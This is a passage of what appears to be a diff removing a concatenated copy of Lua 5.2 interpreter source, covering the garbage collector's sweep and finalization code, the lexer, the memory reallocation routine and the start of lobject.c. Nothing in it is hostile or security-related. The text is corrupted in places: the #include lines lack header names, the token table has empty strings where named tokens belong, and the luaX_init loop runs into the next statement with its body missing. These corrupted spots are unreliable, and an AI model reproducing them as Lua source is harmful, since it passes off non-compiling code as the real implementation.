~0; /* clear nothing */ - toset = bitmask(OLDBIT); /* set the old bit of all surviving objects */ - tostop = bitmask(OLDBIT); /* do not sweep old generation */ - } - else { /* normal mode */ - toclear = maskcolors; /* clear all color bits + old bit */ - toset = luaC_white(g); /* make object white */ - tostop = 0; /* do not stop */ - } - while (*p != NULL && count-- > 0) { - GCObject *curr = *p; - int marked = gch(curr)->marked; - if (isdeadm(ow, marked)) { /* is 'curr' dead? */ - *p = gch(curr)->next; /* remove 'curr' from list */ - freeobj(L, curr); /* erase 'curr' */ - } - else { - if (testbits(marked, tostop)) - return NULL; /* stop sweeping this list */ - if (gch(curr)->tt == LUA_TTHREAD) - sweepthread(L, gco2th(curr)); /* sweep thread's upvalues */ - /* update marks */ - gch(curr)->marked = cast_byte((marked & toclear) | toset); - p = &gch(curr)->next; /* go to next element */ - } - } - return (*p == NULL) ? NULL : p; -} - - -/* -** sweep a list until a live object (or end of list) -*/ -static GCObject **sweeptolive (lua_State *L, GCObject **p, int *n) { - GCObject ** old = p; - int i = 0; - do { - i++; - p = sweeplist(L, p, 1); - } while (p == old); - if (n) *n += i; - return p; -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Finalization -** ======================================================= -*/ - -static void checkSizes (lua_State *L) { - global_State *g = G(L); - if (g->gckind != KGC_EMERGENCY) { /* do not change sizes in emergency */ - int hs = g->strt.size / 2; /* half the size of the string table */ - if (g->strt.nuse < cast(lu_int32, hs)) /* using less than that half? */ - luaS_resize(L, hs); /* halve its size */ - luaZ_freebuffer(L, &g->buff); /* free concatenation buffer */ - } -} - - -static GCObject *udata2finalize (global_State *g) { - GCObject *o = g->tobefnz; /* get first element */ - lua_assert(isfinalized(o)); - g->tobefnz = gch(o)->next; /* remove it from 'tobefnz' list */ - gch(o)->next = g->allgc; /* return it to 'allgc' list */ - g->allgc = o; - resetbit(gch(o)->marked, SEPARATED); /* mark that it is not in 'tobefnz' */ - lua_assert(!isold(o)); /* see MOVE OLD rule */ - if (!keepinvariant(g)) /* not keeping invariant? */ - makewhite(g, o); /* "sweep" object */ - return o; -} - - -static void dothecall (lua_State *L, void *ud) { - UNUSED(ud); - luaD_call(L, L->top - 2, 0, 0); -} - - -static void GCTM (lua_State *L, int propagateerrors) { - global_State *g = G(L); - const TValue *tm; - TValue v; - setgcovalue(L, &v, udata2finalize(g)); - tm = luaT_gettmbyobj(L, &v, TM_GC); - if (tm != NULL && ttisfunction(tm)) { /* is there a finalizer? */ - int status; - lu_byte oldah = L->allowhook; - int running = g->gcrunning; - L->allowhook = 0; /* stop debug hooks during GC metamethod */ - g->gcrunning = 0; /* avoid GC steps */ - setobj2s(L, L->top, tm); /* push finalizer... */ - setobj2s(L, L->top + 1, &v); /* ... and its argument */ - L->top += 2; /* and (next line) call the finalizer */ - status = luaD_pcall(L, dothecall, NULL, savestack(L, L->top - 2), 0); - L->allowhook = oldah; /* restore hooks */ - g->gcrunning = running; /* restore state */ - if (status != LUA_OK && propagateerrors) { /* error while running __gc? */ - if (status == LUA_ERRRUN) { /* is there an error object? */ - const char *msg = (ttisstring(L->top - 1)) - ? svalue(L->top - 1) - : "no message"; - luaO_pushfstring(L, "error in __gc metamethod (%s)", msg); - status = LUA_ERRGCMM; /* error in __gc metamethod */ - } - luaD_throw(L, status); /* re-throw error */ - } - } -} - - -/* -** move all unreachable objects (or 'all' objects) that need -** finalization from list 'finobj' to list 'tobefnz' (to be finalized) -*/ -static void separatetobefnz (lua_State *L, int all) { - global_State *g = G(L); - GCObject **p = &g->finobj; - GCObject *curr; - GCObject **lastnext = &g->tobefnz; - /* find last 'next' field in 'tobefnz' list (to add elements in its end) */ - while (*lastnext != NULL) - lastnext = &gch(*lastnext)->next; - while ((curr = *p) != NULL) { /* traverse all finalizable objects */ - lua_assert(!isfinalized(curr)); - lua_assert(testbit(gch(curr)->marked, SEPARATED)); - if (!(all || iswhite(curr))) /* not being collected? */ - p = &gch(curr)->next; /* don't bother with it */ - else { - l_setbit(gch(curr)->marked, FINALIZEDBIT); /* won't be finalized again */ - *p = gch(curr)->next; /* remove 'curr' from 'finobj' list */ - gch(curr)->next = *lastnext; /* link at the end of 'tobefnz' list */ - *lastnext = curr; - lastnext = &gch(curr)->next; - } - } -} - - -/* -** if object 'o' has a finalizer, remove it from 'allgc' list (must -** search the list to find it) and link it in 'finobj' list. -*/ -void luaC_checkfinalizer (lua_State *L, GCObject *o, Table *mt) { - global_State *g = G(L); - if (testbit(gch(o)->marked, SEPARATED) || /* obj. is already separated... */ - isfinalized(o) || /* ... or is finalized... */ - gfasttm(g, mt, TM_GC) == NULL) /* or has no finalizer? */ - return; /* nothing to be done */ - else { /* move 'o' to 'finobj' list */ - GCObject **p; - GCheader *ho = gch(o); - if (g->sweepgc == &ho->next) { /* avoid removing current sweep object */ - lua_assert(issweepphase(g)); - g->sweepgc = sweeptolive(L, g->sweepgc, NULL); - } - /* search for pointer pointing to 'o' */ - for (p = &g->allgc; *p != o; p = &gch(*p)->next) { /* empty */ } - *p = ho->next; /* remove 'o' from root list */ - ho->next = g->finobj; /* link it in list 'finobj' */ - g->finobj = o; - l_setbit(ho->marked, SEPARATED); /* mark it as such */ - if (!keepinvariant(g)) /* not keeping invariant? */ - makewhite(g, o); /* "sweep" object */ - else - resetoldbit(o); /* see MOVE OLD rule */ - } -} - -/* }====================================================== */ - - -/* -** {====================================================== -** GC control -** ======================================================= -*/ - - -#define sweepphases \ - (bitmask(GCSsweepstring) | bitmask(GCSsweepudata) | bitmask(GCSsweep)) - - -/* -** enter first sweep phase (strings) and prepare pointers for other -** sweep phases. The calls to 'sweeptolive' make pointers point to an -** object inside the list (instead of to the header), so that the real -** sweep do not need to skip objects created between "now" and the start -** of the real sweep. -** Returns how many objects it sweeped. -*/ -static int entersweep (lua_State *L) { - global_State *g = G(L); - int n = 0; - g->gcstate = GCSsweepstring; - lua_assert(g->sweepgc == NULL && g->sweepfin == NULL); - /* prepare to sweep strings, finalizable objects, and regular objects */ - g->sweepstrgc = 0; - g->sweepfin = sweeptolive(L, &g->finobj, &n); - g->sweepgc = sweeptolive(L, &g->allgc, &n); - return n; -} - - -/* -** change GC mode -*/ -void luaC_changemode (lua_State *L, int mode) { - global_State *g = G(L); - if (mode == g->gckind) return; /* nothing to change */ - if (mode == KGC_GEN) { /* change to generational mode */ - /* make sure gray lists are consistent */ - luaC_runtilstate(L, bitmask(GCSpropagate)); - g->GCestimate = gettotalbytes(g); - g->gckind = KGC_GEN; - } - else { /* change to incremental mode */ - /* sweep all objects to turn them back to white - (as white has not changed, nothing extra will be collected) */ - g->gckind = KGC_NORMAL; - entersweep(L); - luaC_runtilstate(L, ~sweepphases); - } -} - - -/* -** call all pending finalizers -*/ -static void callallpendingfinalizers (lua_State *L, int propagateerrors) { - global_State *g = G(L); - while (g->tobefnz) { - resetoldbit(g->tobefnz); - GCTM(L, propagateerrors); - } -} - - -void luaC_freeallobjects (lua_State *L) { - global_State *g = G(L); - int i; - separatetobefnz(L, 1); /* separate all objects with finalizers */ - lua_assert(g->finobj == NULL); - callallpendingfinalizers(L, 0); - g->currentwhite = WHITEBITS; /* this "white" makes all objects look dead */ - g->gckind = KGC_NORMAL; - sweepwholelist(L, &g->finobj); /* finalizers can create objs. in 'finobj' */ - sweepwholelist(L, &g->allgc); - for (i = 0; i < g->strt.size; i++) /* free all string lists */ - sweepwholelist(L, &g->strt.hash[i]); - lua_assert(g->strt.nuse == 0); -} - - -static l_mem atomic (lua_State *L) { - global_State *g = G(L); - l_mem work = -g->GCmemtrav; /* start counting work */ - GCObject *origweak, *origall; - lua_assert(!iswhite(obj2gco(g->mainthread))); - markobject(g, L); /* mark running thread */ - /* registry and global metatables may be changed by API */ - markvalue(g, &g->l_registry); - markmt(g); /* mark basic metatables */ - /* remark occasional upvalues of (maybe) dead threads */ - remarkupvals(g); - propagateall(g); /* propagate changes */ - work += g->GCmemtrav; /* stop counting (do not (re)count grays) */ - /* traverse objects caught by write barrier and by 'remarkupvals' */ - retraversegrays(g); - work -= g->GCmemtrav; /* restart counting */ - convergeephemerons(g); - /* at this point, all strongly accessible objects are marked. */ - /* clear values from weak tables, before checking finalizers */ - clearvalues(g, g->weak, NULL); - clearvalues(g, g->allweak, NULL); - origweak = g->weak; origall = g->allweak; - work += g->GCmemtrav; /* stop counting (objects being finalized) */ - separatetobefnz(L, 0); /* separate objects to be finalized */ - markbeingfnz(g); /* mark objects that will be finalized */ - propagateall(g); /* remark, to propagate `preserveness' */ - work -= g->GCmemtrav; /* restart counting */ - convergeephemerons(g); - /* at this point, all resurrected objects are marked. */ - /* remove dead objects from weak tables */ - clearkeys(g, g->ephemeron, NULL); /* clear keys from all ephemeron tables */ - clearkeys(g, g->allweak, NULL); /* clear keys from all allweak tables */ - /* clear values from resurrected weak tables */ - clearvalues(g, g->weak, origweak); - clearvalues(g, g->allweak, origall); - g->currentwhite = cast_byte(otherwhite(g)); /* flip current white */ - work += g->GCmemtrav; /* complete counting */ - return work; /* estimate of memory marked by 'atomic' */ -} - - -static lu_mem singlestep (lua_State *L) { - global_State *g = G(L); - switch (g->gcstate) { - case GCSpause: { - g->GCmemtrav = 0; /* start to count memory traversed */ - if (!isgenerational(g)) - markroot(g); /* start a new collection */ - /* in any case, root must be marked at this point */ - lua_assert(!iswhite(obj2gco(g->mainthread)) - && !iswhite(gcvalue(&g->l_registry))); - g->gcstate = GCSpropagate; - return g->GCmemtrav; - } - case GCSpropagate: { - if (g->gray) { - lu_mem oldtrav = g->GCmemtrav; - propagatemark(g); - return g->GCmemtrav - oldtrav; /* memory traversed in this step */ - } - else { /* no more `gray' objects */ - lu_mem work; - int sw; - g->gcstate = GCSatomic; /* finish mark phase */ - g->GCestimate = g->GCmemtrav; /* save what was counted */; - work = atomic(L); /* add what was traversed by 'atomic' */ - g->GCestimate += work; /* estimate of total memory traversed */ - sw = entersweep(L); - return work + sw * GCSWEEPCOST; - } - } - case GCSsweepstring: { - int i; - for (i = 0; i < GCSWEEPMAX && g->sweepstrgc + i < g->strt.size; i++) - sweepwholelist(L, &g->strt.hash[g->sweepstrgc + i]); - g->sweepstrgc += i; - if (g->sweepstrgc >= g->strt.size) /* no more strings to sweep? */ - g->gcstate = GCSsweepudata; - return i * GCSWEEPCOST; - } - case GCSsweepudata: { - if (g->sweepfin) { - g->sweepfin = sweeplist(L, g->sweepfin, GCSWEEPMAX); - return GCSWEEPMAX*GCSWEEPCOST; - } - else { - g->gcstate = GCSsweep; - return 0; - } - } - case GCSsweep: { - if (g->sweepgc) { - g->sweepgc = sweeplist(L, g->sweepgc, GCSWEEPMAX); - return GCSWEEPMAX*GCSWEEPCOST; - } - else { - /* sweep main thread */ - GCObject *mt = obj2gco(g->mainthread); - sweeplist(L, &mt, 1); - checkSizes(L); - g->gcstate = GCSpause; /* finish collection */ - return GCSWEEPCOST; - } - } - default: lua_assert(0); return 0; - } -} - - -/* -** advances the garbage collector until it reaches a state allowed -** by 'statemask' -*/ -void luaC_runtilstate (lua_State *L, int statesmask) { - global_State *g = G(L); - while (!testbit(statesmask, g->gcstate)) - singlestep(L); -} - - -static void generationalcollection (lua_State *L) { - global_State *g = G(L); - if (g->GCestimate == 0) { /* signal for another major collection? */ - luaC_fullgc(L, 0); /* perform a full regular collection */ - g->GCestimate = gettotalbytes(g); /* update control */ - } - else { - lu_mem estimate = g->GCestimate; - luaC_runtilstate(L, ~bitmask(GCSpause)); /* run complete cycle */ - luaC_runtilstate(L, bitmask(GCSpause)); - if (gettotalbytes(g) > (estimate / 100) * g->gcmajorinc) - g->GCestimate = 0; /* signal for a major collection */ - } - luaE_setdebt(g, stddebt(g)); -} - - -static void incstep (lua_State *L) { - global_State *g = G(L); - l_mem debt = g->GCdebt; - int stepmul = g->gcstepmul; - if (stepmul < 40) stepmul = 40; /* avoid ridiculous low values */ - /* convert debt from Kb to 'work units' (avoid zero debt and overflows) */ - debt = (debt / STEPMULADJ) + 1; - debt = (debt < MAX_LMEM / stepmul) ? debt * stepmul : MAX_LMEM; - do { /* always perform at least one single step */ - lu_mem work = singlestep(L); /* do some work */ - debt -= work; - } while (debt > -GCSTEPSIZE && g->gcstate != GCSpause); - if (g->gcstate == GCSpause) - debt = stddebtest(g, g->GCestimate); /* pause until next cycle */ - else - debt = (debt / stepmul) * STEPMULADJ; /* convert 'work units' to Kb */ - luaE_setdebt(g, debt); -} - - -/* -** performs a basic GC step -*/ -void luaC_forcestep (lua_State *L) { - global_State *g = G(L); - int i; - if (isgenerational(g)) generationalcollection(L); - else incstep(L); - /* run a few finalizers (or all of them at the end of a collect cycle) */ - for (i = 0; g->tobefnz && (i < GCFINALIZENUM || g->gcstate == GCSpause); i++) - GCTM(L, 1); /* call one finalizer */ -} - - -/* -** performs a basic GC step only if collector is running -*/ -void luaC_step (lua_State *L) { - global_State *g = G(L); - if (g->gcrunning) luaC_forcestep(L); - else luaE_setdebt(g, -GCSTEPSIZE); /* avoid being called too often */ -} - - - -/* -** performs a full GC cycle; if "isemergency", does not call -** finalizers (which could change stack positions) -*/ -void luaC_fullgc (lua_State *L, int isemergency) { - global_State *g = G(L); - int origkind = g->gckind; - int someblack = keepinvariant(g); - lua_assert(origkind != KGC_EMERGENCY); - if (isemergency) /* do not run finalizers during emergency GC */ - g->gckind = KGC_EMERGENCY; - else { - g->gckind = KGC_NORMAL; - callallpendingfinalizers(L, 1); - } - if (someblack) { /* may there be some black objects? */ - /* must sweep all objects to turn them back to white - (as white has not changed, nothing will be collected) */ - entersweep(L); - } - /* finish any pending sweep phase to start a new cycle */ - luaC_runtilstate(L, bitmask(GCSpause)); - /* run entire collector */ - luaC_runtilstate(L, ~bitmask(GCSpause)); - luaC_runtilstate(L, bitmask(GCSpause)); - if (origkind == KGC_GEN) { /* generational mode? */ - /* generational mode must always start in propagate phase */ - luaC_runtilstate(L, bitmask(GCSpropagate)); - } - g->gckind = origkind; - luaE_setdebt(g, stddebt(g)); - if (!isemergency) /* do not run finalizers during emergency GC */ - callallpendingfinalizers(L, 1); -} - -/* }====================================================== */ - - -/* -** $Id: llex.c,v 2.61 2012/01/23 23:05:51 roberto Exp $ -** Lexical Analyzer -** See Copyright Notice in lua.h -*/ - - -#include -#include - -#define llex_c -#define LUA_CORE - - - - - -#define next(ls) (ls->current = zgetc(ls->z)) - - - -#define currIsNewline(ls) (ls->current == '\n' || ls->current == '\r') - - -/* ORDER RESERVED */ -static const char *const luaX_tokens [] = { - "and", "break", "do", "else", "elseif", - "end", "false", "for", "function", "goto", "if", - "in", "local", "nil", "not", "or", "repeat", - "return", "then", "true", "until", "while", - "..", "...", "==", ">=", "<=", "~=", "::", "", - "", "", "" -}; - - -#define save_and_next(ls) (save(ls, ls->current), next(ls)) - - -static l_noret lexerror (LexState *ls, const char *msg, int token); - - -static void save (LexState *ls, int c) { - Mbuffer *b = ls->buff; - if (luaZ_bufflen(b) + 1 > luaZ_sizebuffer(b)) { - size_t newsize; - if (luaZ_sizebuffer(b) >= MAX_SIZET/2) - lexerror(ls, "lexical element too long", 0); - newsize = luaZ_sizebuffer(b) * 2; - luaZ_resizebuffer(ls->L, b, newsize); - } - b->buffer[luaZ_bufflen(b)++] = cast(char, c); -} - - -void luaX_init (lua_State *L) { - int i; - for (i=0; itsv.extra = cast_byte(i+1); /* reserved word */ - } -} - - -const char *luaX_token2str (LexState *ls, int token) { - if (token < FIRST_RESERVED) { - lua_assert(token == cast(unsigned char, token)); - return (lisprint(token)) ? luaO_pushfstring(ls->L, LUA_QL("%c"), token) : - luaO_pushfstring(ls->L, "char(%d)", token); - } - else { - const char *s = luaX_tokens[token - FIRST_RESERVED]; - if (token < TK_EOS) - return luaO_pushfstring(ls->L, LUA_QS, s); - else - return s; - } -} - - -static const char *txtToken (LexState *ls, int token) { - switch (token) { - case TK_NAME: - case TK_STRING: - case TK_NUMBER: - save(ls, '\0'); - return luaO_pushfstring(ls->L, LUA_QS, luaZ_buffer(ls->buff)); - default: - return luaX_token2str(ls, token); - } -} - - -static l_noret lexerror (LexState *ls, const char *msg, int token) { - char buff[LUA_IDSIZE]; - luaO_chunkid(buff, getstr(ls->source), LUA_IDSIZE); - msg = luaO_pushfstring(ls->L, "%s:%d: %s", buff, ls->linenumber, msg); - if (token) - luaO_pushfstring(ls->L, "%s near %s", msg, txtToken(ls, token)); - luaD_throw(ls->L, LUA_ERRSYNTAX); -} - - -l_noret luaX_syntaxerror (LexState *ls, const char *msg) { - lexerror(ls, msg, ls->t.token); -} - - -/* -** creates a new string and anchors it in function's table so that -** it will not be collected until the end of the function's compilation -** (by that time it should be anchored in function's prototype) -*/ -TString *luaX_newstring (LexState *ls, const char *str, size_t l) { - lua_State *L = ls->L; - TValue *o; /* entry for `str' */ - TString *ts = luaS_newlstr(L, str, l); /* create new string */ - setsvalue2s(L, L->top++, ts); /* temporarily anchor it in stack */ - o = luaH_set(L, ls->fs->h, L->top - 1); - if (ttisnil(o)) { /* not in use yet? (see 'addK') */ - /* boolean value does not need GC barrier; - table has no metatable, so it does not need to invalidate cache */ - setbvalue(o, 1); /* t[string] = true */ - luaC_checkGC(L); - } - L->top--; /* remove string from stack */ - return ts; -} - - -/* -** increment line number and skips newline sequence (any of -** \n, \r, \n\r, or \r\n) -*/ -static void inclinenumber (LexState *ls) { - int old = ls->current; - lua_assert(currIsNewline(ls)); - next(ls); /* skip `\n' or `\r' */ - if (currIsNewline(ls) && ls->current != old) - next(ls); /* skip `\n\r' or `\r\n' */ - if (++ls->linenumber >= MAX_INT) - luaX_syntaxerror(ls, "chunk has too many lines"); -} - - -void luaX_setinput (lua_State *L, LexState *ls, ZIO *z, TString *source, - int firstchar) { - ls->decpoint = '.'; - ls->L = L; - ls->current = firstchar; - ls->lookahead.token = TK_EOS; /* no look-ahead token */ - ls->z = z; - ls->fs = NULL; - ls->linenumber = 1; - ls->lastline = 1; - ls->source = source; - ls->envn = luaS_new(L, LUA_ENV); /* create env name */ - luaS_fix(ls->envn); /* never collect this name */ - luaZ_resizebuffer(ls->L, ls->buff, LUA_MINBUFFER); /* initialize buffer */ -} - - - -/* -** ======================================================= -** LEXICAL ANALYZER -** ======================================================= -*/ - - - -static int check_next (LexState *ls, const char *set) { - if (ls->current == '\0' || !strchr(set, ls->current)) - return 0; - save_and_next(ls); - return 1; -} - - -/* -** change all characters 'from' in buffer to 'to' -*/ -static void buffreplace (LexState *ls, char from, char to) { - size_t n = luaZ_bufflen(ls->buff); - char *p = luaZ_buffer(ls->buff); - while (n--) - if (p[n] == from) p[n] = to; -} - - -#if !defined(getlocaledecpoint) -#define getlocaledecpoint() (localeconv()->decimal_point[0]) -#endif - - -#define buff2d(b,e) luaO_str2d(luaZ_buffer(b), luaZ_bufflen(b) - 1, e) - -/* -** in case of format error, try to change decimal point separator to -** the one defined in the current locale and check again -*/ -static void trydecpoint (LexState *ls, SemInfo *seminfo) { - char old = ls->decpoint; - ls->decpoint = getlocaledecpoint(); - buffreplace(ls, old, ls->decpoint); /* try new decimal separator */ - if (!buff2d(ls->buff, &seminfo->r)) { - /* format error with correct decimal point: no more options */ - buffreplace(ls, ls->decpoint, '.'); /* undo change (for error message) */ - lexerror(ls, "malformed number", TK_NUMBER); - } -} - - -/* LUA_NUMBER */ -/* -** this function is quite liberal in what it accepts, as 'luaO_str2d' -** will reject ill-formed numerals. -*/ -static void read_numeral (LexState *ls, SemInfo *seminfo) { - const char *expo = "Ee"; - int first = ls->current; - lua_assert(lisdigit(ls->current)); - save_and_next(ls); - if (first == '0' && check_next(ls, "Xx")) /* hexadecimal? */ - expo = "Pp"; - for (;;) { - if (check_next(ls, expo)) /* exponent part? */ - check_next(ls, "+-"); /* optional exponent sign */ - if (lisxdigit(ls->current) || ls->current == '.') - save_and_next(ls); - else break; - } - save(ls, '\0'); - buffreplace(ls, '.', ls->decpoint); /* follow locale for decimal point */ - if (!buff2d(ls->buff, &seminfo->r)) /* format error? */ - trydecpoint(ls, seminfo); /* try to update decimal point separator */ -} - - -/* -** skip a sequence '[=*[' or ']=*]' and return its number of '='s or -** -1 if sequence is malformed -*/ -static int skip_sep (LexState *ls) { - int count = 0; - int s = ls->current; - lua_assert(s == '[' || s == ']'); - save_and_next(ls); - while (ls->current == '=') { - save_and_next(ls); - count++; - } - return (ls->current == s) ? count : (-count) - 1; -} - - -static void read_long_string (LexState *ls, SemInfo *seminfo, int sep) { - save_and_next(ls); /* skip 2nd `[' */ - if (currIsNewline(ls)) /* string starts with a newline? */ - inclinenumber(ls); /* skip it */ - for (;;) { - switch (ls->current) { - case EOZ: - lexerror(ls, (seminfo) ? "unfinished long string" : - "unfinished long comment", TK_EOS); - break; /* to avoid warnings */ - case ']': { - if (skip_sep(ls) == sep) { - save_and_next(ls); /* skip 2nd `]' */ - goto endloop; - } - break; - } - case '\n': case '\r': { - save(ls, '\n'); - inclinenumber(ls); - if (!seminfo) luaZ_resetbuffer(ls->buff); /* avoid wasting space */ - break; - } - default: { - if (seminfo) save_and_next(ls); - else next(ls); - } - } - } endloop: - if (seminfo) - seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + (2 + sep), - luaZ_bufflen(ls->buff) - 2*(2 + sep)); -} - - -static void escerror (LexState *ls, int *c, int n, const char *msg) { - int i; - luaZ_resetbuffer(ls->buff); /* prepare error message */ - save(ls, '\\'); - for (i = 0; i < n && c[i] != EOZ; i++) - save(ls, c[i]); - lexerror(ls, msg, TK_STRING); -} - - -static int readhexaesc (LexState *ls) { - int c[3], i; /* keep input for error message */ - int r = 0; /* result accumulator */ - c[0] = 'x'; /* for error message */ - for (i = 1; i < 3; i++) { /* read two hexa digits */ - c[i] = next(ls); - if (!lisxdigit(c[i])) - escerror(ls, c, i + 1, "hexadecimal digit expected"); - r = (r << 4) + luaO_hexavalue(c[i]); - } - return r; -} - - -static int readdecesc (LexState *ls) { - int c[3], i; - int r = 0; /* result accumulator */ - for (i = 0; i < 3 && lisdigit(ls->current); i++) { /* read up to 3 digits */ - c[i] = ls->current; - r = 10*r + c[i] - '0'; - next(ls); - } - if (r > UCHAR_MAX) - escerror(ls, c, i, "decimal escape too large"); - return r; -} - - -static void read_string (LexState *ls, int del, SemInfo *seminfo) { - save_and_next(ls); /* keep delimiter (for error messages) */ - while (ls->current != del) { - switch (ls->current) { - case EOZ: - lexerror(ls, "unfinished string", TK_EOS); - break; /* to avoid warnings */ - case '\n': - case '\r': - lexerror(ls, "unfinished string", TK_STRING); - break; /* to avoid warnings */ - case '\\': { /* escape sequences */ - int c; /* final character to be saved */ - next(ls); /* do not save the `\' */ - switch (ls->current) { - case 'a': c = '\a'; goto read_save; - case 'b': c = '\b'; goto read_save; - case 'f': c = '\f'; goto read_save; - case 'n': c = '\n'; goto read_save; - case 'r': c = '\r'; goto read_save; - case 't': c = '\t'; goto read_save; - case 'v': c = '\v'; goto read_save; - case 'x': c = readhexaesc(ls); goto read_save; - case '\n': case '\r': - inclinenumber(ls); c = '\n'; goto only_save; - case '\\': case '\"': case '\'': - c = ls->current; goto read_save; - case EOZ: goto no_save; /* will raise an error next loop */ - case 'z': { /* zap following span of spaces */ - next(ls); /* skip the 'z' */ - while (lisspace(ls->current)) { - if (currIsNewline(ls)) inclinenumber(ls); - else next(ls); - } - goto no_save; - } - default: { - if (!lisdigit(ls->current)) - escerror(ls, &ls->current, 1, "invalid escape sequence"); - /* digital escape \ddd */ - c = readdecesc(ls); - goto only_save; - } - } - read_save: next(ls); /* read next character */ - only_save: save(ls, c); /* save 'c' */ - no_save: break; - } - default: - save_and_next(ls); - } - } - save_and_next(ls); /* skip delimiter */ - seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + 1, - luaZ_bufflen(ls->buff) - 2); -} - - -static int llex (LexState *ls, SemInfo *seminfo) { - luaZ_resetbuffer(ls->buff); - for (;;) { - switch (ls->current) { - case '\n': case '\r': { /* line breaks */ - inclinenumber(ls); - break; - } - case ' ': case '\f': case '\t': case '\v': { /* spaces */ - next(ls); - break; - } - case '-': { /* '-' or '--' (comment) */ - next(ls); - if (ls->current != '-') return '-'; - /* else is a comment */ - next(ls); - if (ls->current == '[') { /* long comment? */ - int sep = skip_sep(ls); - luaZ_resetbuffer(ls->buff); /* `skip_sep' may dirty the buffer */ - if (sep >= 0) { - read_long_string(ls, NULL, sep); /* skip long comment */ - luaZ_resetbuffer(ls->buff); /* previous call may dirty the buff. */ - break; - } - } - /* else short comment */ - while (!currIsNewline(ls) && ls->current != EOZ) - next(ls); /* skip until end of line (or end of file) */ - break; - } - case '[': { /* long string or simply '[' */ - int sep = skip_sep(ls); - if (sep >= 0) { - read_long_string(ls, seminfo, sep); - return TK_STRING; - } - else if (sep == -1) return '['; - else lexerror(ls, "invalid long string delimiter", TK_STRING); - } - case '=': { - next(ls); - if (ls->current != '=') return '='; - else { next(ls); return TK_EQ; } - } - case '<': { - next(ls); - if (ls->current != '=') return '<'; - else { next(ls); return TK_LE; } - } - case '>': { - next(ls); - if (ls->current != '=') return '>'; - else { next(ls); return TK_GE; } - } - case '~': { - next(ls); - if (ls->current != '=') return '~'; - else { next(ls); return TK_NE; } - } - case ':': { - next(ls); - if (ls->current != ':') return ':'; - else { next(ls); return TK_DBCOLON; } - } - case '"': case '\'': { /* short literal strings */ - read_string(ls, ls->current, seminfo); - return TK_STRING; - } - case '.': { /* '.', '..', '...', or number */ - save_and_next(ls); - if (check_next(ls, ".")) { - if (check_next(ls, ".")) - return TK_DOTS; /* '...' */ - else return TK_CONCAT; /* '..' */ - } - else if (!lisdigit(ls->current)) return '.'; - /* else go through */ - } - case '0': case '1': case '2': case '3': case '4': - case '5': case '6': case '7': case '8': case '9': { - read_numeral(ls, seminfo); - return TK_NUMBER; - } - case EOZ: { - return TK_EOS; - } - default: { - if (lislalpha(ls->current)) { /* identifier or reserved word? */ - TString *ts; - do { - save_and_next(ls); - } while (lislalnum(ls->current)); - ts = luaX_newstring(ls, luaZ_buffer(ls->buff), - luaZ_bufflen(ls->buff)); - seminfo->ts = ts; - if (isreserved(ts)) /* reserved word? */ - return ts->tsv.extra - 1 + FIRST_RESERVED; - else { - return TK_NAME; - } - } - else { /* single-char tokens (+ - / ...) */ - int c = ls->current; - next(ls); - return c; - } - } - } - } -} - - -void luaX_next (LexState *ls) { - ls->lastline = ls->linenumber; - if (ls->lookahead.token != TK_EOS) { /* is there a look-ahead token? */ - ls->t = ls->lookahead; /* use this one */ - ls->lookahead.token = TK_EOS; /* and discharge it */ - } - else - ls->t.token = llex(ls, &ls->t.seminfo); /* read next token */ -} - - -int luaX_lookahead (LexState *ls) { - lua_assert(ls->lookahead.token == TK_EOS); - ls->lookahead.token = llex(ls, &ls->lookahead.seminfo); - return ls->lookahead.token; -} - -/* -** $Id: lmem.c,v 1.84 2012/05/23 15:41:53 roberto Exp $ -** Interface to Memory Manager -** See Copyright Notice in lua.h -*/ - - -#include - -#define lmem_c -#define LUA_CORE - - - - - -/* -** About the realloc function: -** void * frealloc (void *ud, void *ptr, size_t osize, size_t nsize); -** (`osize' is the old size, `nsize' is the new size) -** -** * frealloc(ud, NULL, x, s) creates a new block of size `s' (no -** matter 'x'). -** -** * frealloc(ud, p, x, 0) frees the block `p' -** (in this specific case, frealloc must return NULL); -** particularly, frealloc(ud, NULL, 0, 0) does nothing -** (which is equivalent to free(NULL) in ANSI C) -** -** frealloc returns NULL if it cannot create or reallocate the area -** (any reallocation to an equal or smaller size cannot fail!) -*/ - - - -#define MINSIZEARRAY 4 - - -void *luaM_growaux_ (lua_State *L, void *block, int *size, size_t size_elems, - int limit, const char *what) { - void *newblock; - int newsize; - if (*size >= limit/2) { /* cannot double it? */ - if (*size >= limit) /* cannot grow even a little? */ - luaG_runerror(L, "too many %s (limit is %d)", what, limit); - newsize = limit; /* still have at least one free place */ - } - else { - newsize = (*size)*2; - if (newsize < MINSIZEARRAY) - newsize = MINSIZEARRAY; /* minimum size */ - } - newblock = luaM_reallocv(L, block, *size, newsize, size_elems); - *size = newsize; /* update only when everything else is OK */ - return newblock; -} - - -l_noret luaM_toobig (lua_State *L) { - luaG_runerror(L, "memory allocation error: block too big"); -} - - - -/* -** generic allocation routine. -*/ -void *luaM_realloc_ (lua_State *L, void *block, size_t osize, size_t nsize) { - void *newblock; - global_State *g = G(L); - size_t realosize = (block) ? osize : 0; - lua_assert((realosize == 0) == (block == NULL)); -#if defined(HARDMEMTESTS) - if (nsize > realosize && g->gcrunning) - luaC_fullgc(L, 1); /* force a GC whenever possible */ -#endif - newblock = (*g->frealloc)(g->ud, block, osize, nsize); - if (newblock == NULL && nsize > 0) { - api_check(L, nsize > realosize, - "realloc cannot fail when shrinking a block"); - if (g->gcrunning) { - luaC_fullgc(L, 1); /* try to free some memory... */ - newblock = (*g->frealloc)(g->ud, block, osize, nsize); /* try again */ - } - if (newblock == NULL) - luaD_throw(L, LUA_ERRMEM); - } - lua_assert((nsize == 0) == (newblock == NULL)); - g->GCdebt = (g->GCdebt + nsize) - realosize; - return newblock; -} - -/* -** $Id: lobject.c,v 2.55 2011/11/30 19:30:16 roberto Exp $ -** Some generic functions over Lua objects -** See Copyright Notice in lua.h -*/ - -#include -#include -#include -#include - -#define lobject_c -#define LUA_CORE - - - - - -LUAI_DDEF const TValue luaO_nilobject_ = {NILCONSTANT}; - - -/* -** converts an integer to a "floating point byte", represented as -** (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if -** eeeee != 0 and (xxx) otherwise. -*/ -int luaO_int2fb (unsigned int x) { - int e = 0; /* exponent */ - if (x < 8) return x; - while (x >= 0x10) { - x = (x+1) >> 1; - e++; - } - return ((e+1) << 3) | (cast_int(x) - 8); -} - - -/* converts back */ -int luaO_fb2int (int x) { - int e = (x >> 3) & 0x1f; - 